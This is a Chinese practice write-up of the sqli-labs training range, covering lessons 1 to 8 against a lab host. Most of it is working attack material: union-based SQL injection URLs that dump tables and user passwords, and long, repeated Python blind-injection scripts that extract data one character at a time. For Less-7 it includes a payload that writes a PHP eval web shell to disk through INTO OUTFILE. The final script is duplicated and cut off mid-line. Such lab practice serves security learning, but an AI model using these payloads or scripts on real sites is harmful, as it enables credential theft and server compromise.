【靶场练习_sqli-labs】SQLi-LABS Page-1(Basic Challenges)
GET篇
Less-1:简单题
1.用order by得出待查表里有三个字段
http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3--+
2.用union select得到数据库名——security
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,database(),2--+
3.用select group_concat(table_name) from information_schema.columns where table_schema=database()得到数据表名——emails,referers,referers,uagents,users
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema=database())--+
4.用select group_concat(column_name) from information_schema.columns where table_name='emails'得到数据表中的字段名——id,email_id
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),database()--+
5.用select group_concat(id,email_id) from emails 得到字段的值——name:1Dumb@dhakkan.com,2Angel@iloveu.com,3Dummy@dhakkan.local,4secure@dhakkan.local,5stupid@dhakkan.local,6superman@dhakkan.local,7batman@dhakkan.local,8admin@dhakkan.com
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(id,email_id) from emails),database()--+
less-2:简单题
在2里面"and"居然失效了,好迷啊,索性"order by"还可以用
- 有三列数据:
- http://192.168.40.165/sqli-labs-master/Less-2/?id=1 order by 3--+
- 当前数据库:security
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),3--+
- security里面的数据表:_emails,_emails,_referers,_referers,_referers,_uagents,_uagents,_uagents,_uagents,_users,_users,_users
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat('_',table_name) from information_schema.columns where table_schema=database())--+
- users表里的字段:user_id,first_name,last_name,user,password,avatar,id,username,password
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name='users')--+
- 得到字段值:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(username,password) from users),(select group_concat(column_name) from information_schema.columns where table_name='users')--+
less-3:单引号+括号闭合
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-3 Error Based- String (with Twist) </title> </head> <body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=('') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-3.jpg" /></center> </body> </html>
数据库:security
http://192.168.40.165/sqli-labs-master/Less-3/
?id=--1') union select 1,2,database() %23
数据表:emails,referers,uagents,users
http://192.168.40.165/sqli-labs-master/Less-3/
?id=--1') union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database() %23
列名:user_id,first_name,last_name,user,password,avatar,id,username,password
http://192.168.40.165/sqli-labs-master/Less-3/
?id=--1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
字段值:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
http://192.168.40.165/sqli-labs-master/Less-3/
?id=--1') union select 1,2,group_concat(username) from users %23
less-4:双引号+括号闭合
双引号闭合:两条语句回显不同
?id=1" and "0
?id=1" and "1
括号闭合: use near 'union select 1,2,3 #") LIMIT 0,1' at line 1
http://192.168.40.165/sqli-labs-master/Less-4/
?id=1" union select 1,2,3 %23
http://192.168.40.165/sqli-labs-master/Less-4/
?id=1") union select 1,2,3 %23
数据库:security
http://192.168.40.165/sqli-labs-master/Less-4/
?id=-1") union select 1,database(),2 %23
数据表:emails,referers,uagents,users
http://192.168.40.165/sqli-labs-master/Less-4/
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
列名:user_id,first_name,last_name,user,password,avatar,id,username,password
http://192.168.40.165/sqli-labs-master/Less-4/
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
字段值:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
http://192.168.40.165/sqli-labs-master/Less-4/
?id=-1") union select 1,group_concat(username),3 from users%23
less-5:盲注单引号闭合,看到有的师傅说报错也可以做,有时间试试
这里补一个函数,一开始使用substr来切割,发现怎么写也不行,然后用的是left()
LEFT(str,len)
返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。
SQL> SELECT LEFT('foobarbar', 5); +---------------------------------------------------------+ | LEFT('foobarbar', 5) | +---------------------------------------------------------+ | fooba | +---------------------------------------------------------+ 1 row in set (0.00 sec)
//原文出自【易百教程】,商业转载请联系作者获得授权,非商业转载请保留原文链接:https://www.yiibai.com/sql/sql-left-function.html
''' @Modify Time @Author ------------ ------- 2019/9/29 13:26 laoalo ''' import requests from lxml import etree import time tag = "You are in..........." d = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM," def database_length(): ''' 数据库长度爆破 :return: 数据库长度 ''' global tag url = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and length(database())=" i = 0 while True: urls = url + str(i) + '%23' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment=htmlelmet[0] if elment == tag: return i else: i += 1 def database_name(length): ''' 爆破数据库名 :param length: 数据库长度 :return: 数据库名 ''' global d database="" for j in range(length+1): for i in d: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and left(database(),"+str(j)+")='"+database+i+"'--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: database += i break return database def table_name_no_ascii(length): ''' 不用ascii的方法求表名,就直接遍历字典,等有空的时候完善 :param length: :return: ''' global d table="" for j in range(length+1): for i in d: urls="http://192.168.40.165/sqli-labs-master/Less-5/?id=1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)"+i+"--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: table += i break return table def table_length(): ''' 计算当前数据库中所有的表的长 :return: 表长 ''' global tag i = 0 while True: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.columns where table_schema=database()))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def table_name(length): ''' ascii法爆破数据表 :return: 表长 ''' global tag table="" for j in range(length+1): ''' i 的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def colums_length(table_name): ''' 查询指定表的字段值 :param table_name: 表名 :return: ''' global tag i = 0 while i<1000: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def column_name(length,table_name): ''' ascii法爆破字段 :return: 表长 ''' global tag table="" for j in range(length+1): ''' 10的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def data_length(colums,table): ''' 得到数据的长度 :param colums: 字段名 :param table: 表名 :return: 数据的长度 ''' global tag i = 0 while i < 1000: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and length((select group_concat("+colums+") from "+table+"))="+str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def data_datail(length,colums,table): ''' 得到数据表中的值 :param length: 值得长度 :param colums: 查询的字段名 :param table: 查询的表名 :return: 字段值 ''' global d data = "" for j in range(1,length+1): for i in d: urls = "http://192.168.40.165/sqli-labs-master/Less-5/?id=1' and left((select group_concat("+colums+") from "+table+"), "+str(j)+" )='"+data+i+"'--+" print(urls) response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: data += i print(colums,'字段值=',data) break print(data) if __name__ == '__main__': # print(table_length()) # print(table_ascii(90)) # print(colums_length('emails')) # print(column_name(11,'emails')) # print(data_length('id','emails')) print(data_datail(15,'id','emails'))
Less-6:盲注双引号闭合
''' @Modify Time @Author ------------ ------- 2019/9/29 13:26 laoalo ''' import requests from lxml import etree import time tag = "You are in..........." d = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM," def database_length(): ''' 数据库长度爆破 :return: 数据库长度 ''' global tag url = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and length(database())=' i = 0 while True: urls = url + str(i) + '%23' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment=htmlelmet[0] if elment == tag: return i else: i += 1 def database_name(length): ''' 爆破数据库名 :param length: 数据库长度 :return: 数据库名 ''' global d database="" for j in range(length+1): for i in d: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and left(database(),'+str(j)+')="'+database+i+'"--+' response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: database += i break return database def table_name_no_ascii(length): ''' 不用ascii的方法求表名,就直接遍历字典,等有空的时候完善 :param length: :return: ''' global d table="" for j in range(length+1): for i in d: urls='http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)'+i+'--+' response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: table += i break return table def table_length(): ''' 计算当前数据库中所有的表的长 :return: 表长 ''' global tag i = 0 while True: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and length((select group_concat(table_name) from information_schema.columns where table_schema=database()))=' + str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def table_name(length): ''' ascii法爆破数据表 :return: 表长 ''' global tag table = "" for j in range(length+1): ''' i 的往上增,直到超了 ''' i = 0 while i <= 122: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+str(j)+',1))<' + str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减",end="") while i>0: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+str(j)+',1))=' +str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def colums_length(table_name): ''' 查询指定表的字段值 :param table_name: 表名 :return: ''' global tag i = 0 while i<1000: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and length((select group_concat(column_name) from information_schema.columns where table_name="'+table_name+'"))=' + str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def column_name(length,table_name): ''' ascii法爆破字段 :return: 表长 ''' global tag table="" for j in range(length+1): ''' 10的往上增,直到超了 ''' i = 0 while i<=122: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="'+table_name+'"),'+str(j)+',1))<' + str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="'+table_name+'"),'+str(j)+',1))=' +str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def data_length(colums,table): ''' 得到数据的长度 :param colums: 字段名 :param table: 表名 :return: 数据的长度 ''' global tag i = 0 while i < 1000: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and length((select group_concat('+colums+') from '+table+'))='+str(i) + '--+' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def data_datail(length,colums,table): ''' 得到数据表中的值 :param length: 值得长度 :param colums: 查询的字段名 :param table: 查询的表名 :return: 字段值 ''' global d data = "" for j in range(1,length+1): for i in d: urls = 'http://192.168.40.165/sqli-labs-master/Less-6/?id=1" and left((select group_concat('+colums+') from '+table+'), '+str(j)+' )="'+data+i+'"--+' print(urls) response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: data += i print(colums,'字段值=',data) break print(data) if __name__ == '__main__': # print(database_length()) #8 # print(database_name(8)) #security # print(table_length()) #90 # print(table_name(90)) #emails,referers,uagents,users # print(colums_length('emails')) #11 # print(column_name(11,'emails')) #id,email_id # print(data_length('id','emails')) #15 print(data_datail(15,'id','emails')) #id 字段值= 1,2,3,4,5,6,7,8
Less-7:文件上传
?id=0 union select 1,@@datadir,@@basedir MYSQL--+
?id=1')) union select 1,2,'<?php @eval($_POST[`cmd`])?>' into outfile './backdoor2.php7' --+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-7 Dump into Outfile</title> </head> <body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity <!-- $sql="SELECT * FROM users WHERE id=(('1')) union select 1,2,'<?php @eval($_POST[`cmd`])?>' into outfile './test1.txt' --+')) LIMIT 0,1"; --> $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......'; echo "<br>"; echo "</font>"; } else { echo '<font color= "#FFFF00">'; echo 'You have an error in your SQL syntax'; //print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-7.jpg" /></center> </body> </html>
Your Login name:/var/lib/mysql/
Your Password:/usr/
1、basedir 参数
解释:该参数指定了安装 MySQL 的安装路径,填写全路径可以解决相对路径所造成的问题。
例如:basedir="E:/dev/MySQL/MySQL Server 5.2/"表示我的 MySQL 安装在 E:/dev/MySQL/MySQL Server 5.2/ 路径下。
2、datadir 参数
解释:该参数指定了 MySQL 的数据库文件放在什么路径下。数据库文件即我们常说的 MySQL data 文件。
例如:datadir="E:/dev/MySQL/MySQL Server 5.2/Data/"则表示我的 MySQL 数据库文件放在 E:/dev/MySQL/MySQL Server 5.2/Data/ 路径下。
Less-8:单引号闭合的回显盲注
判断条件:
单引号: ?id=1' and '1 ?id=1' and '0
这次实验的是usrs表中的password,发现直接遍历会出现大小写不敏感的错误,又写了一个ascii版本,可以区分大小写,后来查资料才知道,有可能是sql不区分大小写导致的
''' @Modify Time @Author ------------ ------- 2019/10/4 10:21 laoalo ''' import requests from lxml import etree import time tag = "You are in..........." d = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM,-@!" def database_length(): ''' 数据库长度爆破 :return: 数据库长度 ''' global tag url = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length(database())=" i = 0 while True: urls = url + str(i) + '%23' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment=htmlelmet[0] if elment == tag: return i else: i += 1 def database_name(length): ''' 爆破数据库名 :param length: 数据库长度 :return: 数据库名 ''' global d database="" for j in range(length+1): for i in d: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and left(database(),"+str(j)+")='"+database+i+"'--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: database += i break return database def table_name_no_ascii(length): ''' 不用ascii的方法求表名,就直接遍历字典,等有空的时候完善 :param length: :return: ''' global d table="" for j in range(length+1): for i in d: urls="http://192.168.40.165/sqli-labs-master/Less-8/?id=1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)"+i+"--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: table += i break return table def table_length(): ''' 计算当前数据库中所有的表的长 :return: 表长 ''' global tag i = 0 while True: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.columns where table_schema=database()))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def table_name(length): ''' ascii法爆破数据表 :return: 表长 ''' global tag table="" for j in range(length+1): ''' i 的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def colums_length(table_name): ''' 查询指定表的字段值 :param table_name: 表名 :return: ''' global tag i = 0 while i<1000: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def column_name(length,table_name): ''' ascii法爆破字段 :return: 表长 ''' global tag table="" for j in range(length+1): ''' 10的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def data_length(colums,table): ''' 得到数据的长度 :param colums: 字段名 :param table: 表名 :return: 数据的长度 ''' global tag i = 0 while i < 1000: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat("+colums+") from "+table+"))="+str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def data_datail(length,colums,table): ''' 得到数据表中的值 :param length: 值得长度 :param colums: 查询的字段名 :param table: 查询的表名 :return: 字段值 ''' global d data = "" for j in range(1,length+1): for i in d: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and left((select group_concat("+colums+") from "+table+"), "+str(j)+" )='"+data+i+"'--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: data += i print(colums,'字段值=',data) break print(data) if __name__ == '__main__': # print(table_length()) #90 # print(table_name(90)) #emails,referers,uagents,users # print(colums_length('users')) #70 # print(column_name(70,'users')) #user_id,first_name,last_name,user,password,avatar,id,username,password,user_id,first_name,last_name,user,password,avatar,id,username,password # print(data_length('password','users'))#96 print(data_datail(96,'password','users'))#dumb,i-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4dumb,i-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
''' @Modify Time @Author ------------ ------- 2019/10/4 10:21 laoalo ''' import requests from lxml import etree import time tag = "You are in..........." d = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM,-@!" def database_length(): ''' 数据库长度爆破 :return: 数据库长度 ''' global tag url = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length(database())=" i = 0 while True: urls = url + str(i) + '%23' response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment=htmlelmet[0] if elment == tag: return i else: i += 1 def database_name(length): ''' 爆破数据库名 :param length: 数据库长度 :return: 数据库名 ''' global d database="" for j in range(length+1): for i in d: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and left(database(),"+str(j)+")='"+database+i+"'--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: database += i break return database def table_name_no_ascii(length): ''' 不用ascii的方法求表名,就直接遍历字典,等有空的时候完善 :param length: :return: ''' global d table="" for j in range(length+1): for i in d: urls="http://192.168.40.165/sqli-labs-master/Less-8/?id=1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)"+i+"--+" response = requests.get(url=urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: table += i break return table def table_length(): ''' 计算当前数据库中所有的表的长 :return: 表长 ''' global tag i = 0 while True: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.columns where table_schema=database()))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def table_name(length): ''' ascii法爆破数据表 :return: 表长 ''' global tag table="" for j in range(length+1): ''' i 的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def colums_length(table_name): ''' 查询指定表的字段值 :param table_name: 表名 :return: ''' global tag i = 0 while i<1000: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'))=" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def column_name(length,table_name): ''' ascii法爆破字段 :return: 表长 ''' global tag table="" for j in range(length+1): ''' 10的往上增,直到超了 ''' i = 0 while i<=122: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))<" + str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: break else: i+=10 ''' 此时i自减1开始定位名字 ''' print("开始自减") while i>0: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"'),"+str(j)+",1))=" +str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: table +=chr(i) print('表名=',table) break else: i-=1 return table def data_length(colums,table): ''' 得到数据的长度 :param colums: 字段名 :param table: 表名 :return: 数据的长度 ''' global tag i = 0 while i < 1000: urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and length((select group_concat("+colums+") from "+table+"))="+str(i) + "--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') print(urls) if htmlelmet: elment = htmlelmet[0] if elment == tag: return i else: i += 1 def data_datail(length,colums,table): ''' 得到数据表中的值 :param length: 值得长度 :param colums: 查询的字段名 :param table: 查询的表名 :return: 字段值 ''' global d data = "" for j in range(1,length+1): for i in range(32,128): urls = "http://192.168.40.165/sqli-labs-master/Less-8/?id=1' and ascii(substring((select group_concat("+colums+") from "+table+"),"+str(j)+",1))="+str(i)+"--+" response = requests.get(urls).text htmlelmet = etree.HTML(response).xpath('//font[@size="5"]/text()') if htmlelmet: elment = htmlelmet[0] if elment == tag: data += 